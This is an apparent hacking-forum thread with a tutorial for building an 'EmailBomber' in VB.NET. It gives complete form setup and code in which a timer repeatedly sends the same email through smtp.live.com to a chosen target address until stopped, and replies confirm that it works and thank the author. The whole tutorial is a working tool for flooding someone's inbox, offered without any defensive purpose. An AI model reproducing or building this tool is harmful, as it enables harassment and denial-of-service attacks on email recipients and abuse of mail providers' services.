[TUT]EmailBomber Application

[Gilcrow]

People made some, no one explained how to was done
most likley because they copy and pasted there code.
hence they all required gmail accounts.

Anyway

Firstly create a new form with

4 x Textboxes
Named
- EmailBox
- SubjBox
- UserBox
- PassBox
1 x RichTextBox
Named
-MsgBox
1 x Timer
Named
- Timer1
3 Buttons
Named / Lable
- SendBtn / Send
- StopBtn / Stop
- ExitBtn / Exit

-------------------------------------------------------

Now double click the form to bring up the source code, insert this
code line at the verry top

Imports System.Net.Mail

-------------------------------------------------------

We will now sort the buttons, Starting with SendBtn
Double click the button and add the following code....

Timer1.Start()

Next we move onto the Stop button...

Timer1.Stop()

The final button Exit

End

----------------------------------------------------------

Now lets move onto the timer

Instert the following code after double clicking the timer.

        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(UserBox.Text)
        MyMailMessage.To.Add(EmailBox.Text)
        MyMailMessage.Subject = (SubjBox.Text)
        MyMailMessage.Body = MsgBox.Text
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(UserBox.Text, PassBox.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)

===============================================

Done, and now to explain that final code block

Dim MyMailMessage As New MailMessage()
//Gives MyMailMessage the meaning of New MailMessage()

MyMailMessage.From = New MailAddress(UserBox.Text)
//Sets the from email address of our new email to a New MailAddress, based on the content of UserBox.Text

MyMailMessage.To.Add(EmailBox.Text)
// This adds another email address to the send like, based again on the text in the email box

MyMailMessage.Subject = (SubjBox.Text)
// Sets the email subject to the value of SubjBox

MyMailMessage.Body = MsgBox.Text
// Sets the body of the email from what was entered into our rich textbox
"MsgBox"

Dim SMTPServer As New SmtpClient("smtp.live.com")
// Set SMTPServer as a new smtpclient, which is smtp.live.com ( this is the mail server for msn)

SMTPServer.Port = 587
// Set our servers port

SMTPServer.Credentials = New System.Net.NetworkCredential(UserBox.Text, PassBox.Text)
//Get the user information required to send an email from the server

SMTPServer.EnableSsl = True
//EnableSsl ¬_¬

SMTPServer.Send(MyMailMessage)
// And Finally send out email

=============================================

Now im sorry for any spelling mistakes but i wrote this on the spot
in about 5mins.

[maarten551]

i found a error :P

Import System.Net.Mail

need to be

Imports System.Net.Mail

for the rest:

i love the code tnx :P
it works by me

[Gilcrow]

corrected, and uploaded source

[K4GE]

Nice tutorial,
im sure this will help some people.
Thanks for posting.